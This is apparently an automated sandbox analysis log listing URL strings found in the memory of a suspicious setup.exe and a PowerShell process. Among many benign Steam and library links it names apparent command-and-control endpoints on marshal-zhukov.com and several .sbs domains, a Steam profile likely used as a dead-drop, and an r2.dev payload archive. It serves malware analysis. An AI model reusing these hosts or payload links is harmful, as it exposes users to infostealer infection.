Source: setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2782062262.0000000000A75000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/
Source: setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2782062262.0000000000A75000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://checkout.steampowered.com/
Source: setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2782062262.0000000000A75000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/
Source: setup.exe, 00000005.00000003.2782062262.00000000009E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/publD:
Source: setup.exe, 00000005.00000003.2777562300.00000000009F4000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000002.2784098293.0000000000A78000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2782014101.0000000000A88000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2782062262.0000000000A75000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2777471650.0000000000A84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/applications/community/main.css?v=TtnlHyaDdydL&a
Source: setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2777471650.0000000000A84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/globalv2.css?v=hzEgqbtRcI5V&l=english&_c
Source: setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2777471650.0000000000A84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/promo/summer2017/stickers.css?v=Ncr6N09yZIap&amp
Source: setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2777471650.0000000000A84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/header.css?v=EM4kCu67DNda&l=english&a
Source: setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2777471650.0000000000A84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/modalContent.css?v=WXAusLHclDIt&l=eng
Source: setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2777471650.0000000000A84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/profilev2.css?v=fe66ET2uI50l&l=englis
Source: setup.exe, 00000005.00000003.2777562300.00000000009F4000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2777471650.0000000000A84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2782062262.0000000000A75000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2777471650.0000000000A84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: setup.exe, 00000005.00000002.2784098293.0000000000A78000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2782062262.0000000000A75000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/
Source: setup.exe, 00000005.00000003.2777562300.00000000009F4000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2782014101.0000000000A88000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2777471650.0000000000A84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6
Source: setup.exe, 00000005.00000003.2777562300.00000000009F4000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2782014101.0000000000A88000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2777471650.0000000000A84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/main.js?v=Cjx2-oLb
Source: setup.exe, 00000005.00000003.2777562300.00000000009F4000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2782014101.0000000000A88000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2777471650.0000000000A84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/manifest.js?v=1aq3
Source: setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000002.2784098293.0000000000A7F000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000002.2784098293.0000000000A78000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2782062262.0000000000A75000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2782062262.0000000000A7F000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2777471650.0000000000A84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/global.js?v=jWc2JLWHx5Kn&l=english&am
Source: setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000002.2784098293.0000000000A7F000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000002.2784098293.0000000000A78000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2782062262.0000000000A75000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2782062262.0000000000A7F000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2777471650.0000000000A84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=gQHVlrK4-jX-&l
Source: setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2777471650.0000000000A84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/modalContent.js?v=uqf5ttWTRe7l&l=engl
Source: setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2777471650.0000000000A84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/modalv2.js?v=zBXEuexVQ0FZ&l=english&a
Source: setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2777471650.0000000000A84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/profile.js?v=GeQ6v03mWpAc&l=english&a
Source: setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2782014101.0000000000A88000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2777471650.0000000000A84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/promo/stickers.js?v=CcLRHsa04otQ&l=en
Source: setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000002.2784098293.0000000000A78000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2782062262.0000000000A75000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2777471650.0000000000A84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/prototype-1.7.js?v=npJElBnrEO6W&l=eng
Source: setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2782014101.0000000000A88000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2777471650.0000000000A84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/reportedcontent.js?v=-lZqrarogJr8&l=e
Source: setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000002.2784098293.0000000000A7F000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000002.2784098293.0000000000A78000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2782062262.0000000000A75000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2782062262.0000000000A7F000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2777471650.0000000000A84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=pbdAKOcDIgbC
Source: setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2782014101.0000000000A88000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2777471650.0000000000A84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/webui/clientcom.js?v=utrRJIcYVmWz&l=e
Source: setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2777471650.0000000000A84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/buttons.css?v=qhQgyjWi6LgJ&l=english&
Source: setup.exe, 00000005.00000003.2777471650.0000000000A84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/motiva_sans.css?v=-yZgCk0Nu7kH&l=engl
Source: setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2777471650.0000000000A84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/shared_global.css?v=wuA4X_n5-mo0&l=en
Source: setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2777471650.0000000000A84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/shared_responsive.css?v=JL1e4uQSrVGe&
Source: setup.exe, 00000005.00000003.2777471650.0000000000A84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: setup.exe, 00000005.00000003.2777471650.0000000000A84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: setup.exe, 00000005.00000003.2777471650.0000000000A84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png
Source: setup.exe, 00000005.00000003.2777471650.0000000000A84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2777471650.0000000000A84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/auth_refresh.js?v=w6QbwI-5-j2S&amp
Source: setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000002.2784098293.0000000000A78000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2782062262.0000000000A75000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/share
Source: setup.exe, 00000005.00000003.2777471650.0000000000A84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/shared_global.js?v=Gr6TbGRvDtNE&am
Source: setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/shared_rei
Source: setup.exe, 00000005.00000003.2782014101.0000000000A88000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2777471650.0000000000A84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=tvQ
Source: setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=tv~
Source: setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000002.2784098293.0000000000A7F000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000002.2784098293.0000000000A78000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2782062262.0000000000A75000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2782062262.0000000000A7F000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2777471650.0000000000A84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/tooltip.js?v=QYkT4eS5mbTN&l=en
Source: setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000002.2784098293.0000000000A7F000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2782062262.0000000000A7F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/publich
Source: powershell.exe, 00000000.00000002.2583471088.000001E73BA0E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000000.00000002.2583471088.000001E73BA0E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000000.00000002.2583471088.000001E73BA0E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: resources.pak0.0.dr	String found in binary or memory: https://crbug.com/1201800
Source: rtl120.bpl.0.dr, Register.dll.0.dr	String found in binary or memory: https://d.symcb.com/cps0%
Source: rtl120.bpl.0.dr, Register.dll.0.dr	String found in binary or memory: https://d.symcb.com/rpa0
Source: rtl120.bpl.0.dr, Register.dll.0.dr	String found in binary or memory: https://d.symcb.com/rpa0.
Source: setup.exe, 00000005.00000003.2697940557.00000000031E6000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000005.00000000.2546385365.0000000000418000.00000020.00000001.01000000.00000008.sdmp	String found in binary or memory: https://forum.wisecleaner.com/S
Source: powershell.exe, 00000000.00000002.2554907242.000001E72BBC8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000000.00000002.2554907242.000001E72DB90000.00000004.00000800.00020000.00000000.sdmp, AdonisUI.ClassicTheme.dll.0.dr	String found in binary or memory: https://github.com/benruehl/adonis-ui.git
Source: powershell.exe, 00000000.00000002.2554907242.000001E72DACC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/micdenny/WpfScreenHelper/
Source: powershell.exe, 00000000.00000002.2554907242.000001E72BF08000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/novotnyllc/bc-csharp
Source: setup.exe, 00000005.00000003.2782062262.0000000000A75000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/
Source: setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2782062262.0000000000A7F000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2777471650.0000000000A84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/en/
Source: setup.exe, 00000005.00000003.2782062262.0000000000A75000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.steampowered.com/
Source: setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2782062262.0000000000A75000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lv.queniujq.cn
Source: setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000002.2784098293.0000000000A6A000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2782062262.0000000000A6A000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2777562300.0000000000A30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/
Source: setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/8
Source: setup.exe, 00000005.00000002.2784098293.0000000000A6A000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2782062262.0000000000A6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/P?1
Source: setup.exe, 00000005.00000003.2782062262.0000000000A35000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000002.2784098293.0000000000A83000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2782062262.0000000000A83000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2777562300.0000000000A30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/api
Source: setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/api&;
Source: setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/api5zQ
Source: setup.exe, 00000005.00000002.2784098293.0000000000A83000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2782062262.0000000000A83000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/apiN
Source: setup.exe, 00000005.00000002.2784098293.0000000000A6A000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2782062262.0000000000A6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/apie;
Source: setup.exe, 00000005.00000003.2782062262.0000000000A35000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/apisT
Source: setup.exe, 00000005.00000003.2782062262.00000000009FE000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000002.2784098293.00000000009FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com:443/api
Source: setup.exe, 00000005.00000003.2782062262.00000000009FE000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000002.2784098293.00000000009FE000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2777562300.00000000009FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com:443/apiN
Source: setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2782062262.0000000000A75000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://medal.tv
Source: powershell.exe, 00000000.00000002.2583471088.000001E73BB50000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2583471088.000001E73BA0E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: setup.exe, 00000005.00000003.2782062262.00000000009FE000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000002.2784098293.00000000009FE000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2777562300.00000000009FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://owner-vacat10n.sbs:443/api
Source: setup.exe, 00000005.00000003.2782062262.00000000009FE000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000002.2784098293.00000000009FE000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2777562300.00000000009FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://p10tgrace.sbs:443/api
Source: setup.exe, 00000005.00000003.2782062262.00000000009FE000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000002.2784098293.00000000009FE000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2777562300.00000000009FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://p3ar11fter.sbs:443/api-
Source: setup.exe, 00000005.00000003.2782062262.00000000009FE000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000002.2784098293.00000000009FE000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2777562300.00000000009FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://peepburry828.sbs:443/api5
Source: setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2782062262.0000000000A75000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://player.vimeo.com
Source: setup.exe, 00000005.00000003.2782062262.00000000009FE000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000002.2784098293.00000000009FE000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2777562300.00000000009FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://processhol.sbs:443/api
Source: powershell.exe, 00000000.00000002.2554907242.000001E72BBC8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pub-7a0525921ff54f1193db83d7303c6ee8.r2.dev
Source: powershell.exe, 00000000.00000002.2554907242.000001E72BBC8000.00000004.00000800.00020000.00000000.sdmp, psol.txt.ps1	String found in binary or memory: https://pub-7a0525921ff54f1193db83d7303c6ee8.r2.dev/poltos.zip
Source: setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2782062262.0000000000A75000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net/recaptcha/
Source: setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2782062262.0000000000A75000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s.ytim
Source: rtl120.bpl.0.dr, Register.dll.0.dr	String found in binary or memory: https://sectigo.com/CPS0
Source: setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2782062262.0000000000A75000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sketchfab.com
Source: setup.exe, 00000005.00000003.2697940557.00000000031E6000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000005.00000000.2546385365.0000000000418000.00000020.00000001.01000000.00000008.sdmp	String found in binary or memory: https://sns.qzone.qq.com/cgi-bin/qzshare/cgi_qzshare_onekey?url=https%3A%2F%2Fwww.wisecleaner.com.cn
Source: setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2782062262.0000000000A75000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steam.tv/
Source: setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2782062262.0000000000A75000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast.akamaized.net
Source: setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2782062262.0000000000A75000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcastchat.akamaized.net
Source: setup.exe, 00000005.00000003.2777471650.0000000000A84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/
Source: setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2782062262.0000000000A7F000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2777471650.0000000000A84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
Source: setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2777471650.0000000000A81000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2782062262.0000000000A7F000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2777471650.0000000000A84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/discussions/
Source: setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2782062262.0000000000A75000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2777471650.0000000000A84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: setup.exe, 00000005.00000003.2777471650.0000000000A84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199724331900
Source: setup.exe, 00000005.00000003.2777562300.00000000009F4000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2782062262.0000000000A7F000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2777471650.0000000000A84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/market/
Source: setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2782062262.0000000000A7F000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2777471650.0000000000A84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/my/wishlist/
Source: setup.exe, 00000005.00000003.2782062262.00000000009E9000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000002.2784098293.00000000009E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900
Source: setup.exe, 00000005.00000003.2777562300.00000000009F4000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2777471650.0000000000A84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/badges
Source: setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2782062262.0000000000A75000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2777471650.0000000000A84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/inventory/
Source: setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2782062262.0000000000A7F000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2777471650.0000000000A84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/workshop/
Source: setup.exe, 00000005.00000003.2782062262.00000000009FE000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000002.2784098293.00000000009FE000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2777562300.00000000009FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com:443/profiles/76561199724331900
Source: setup.exe, 00000005.00000003.2777471650.0000000000A84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/
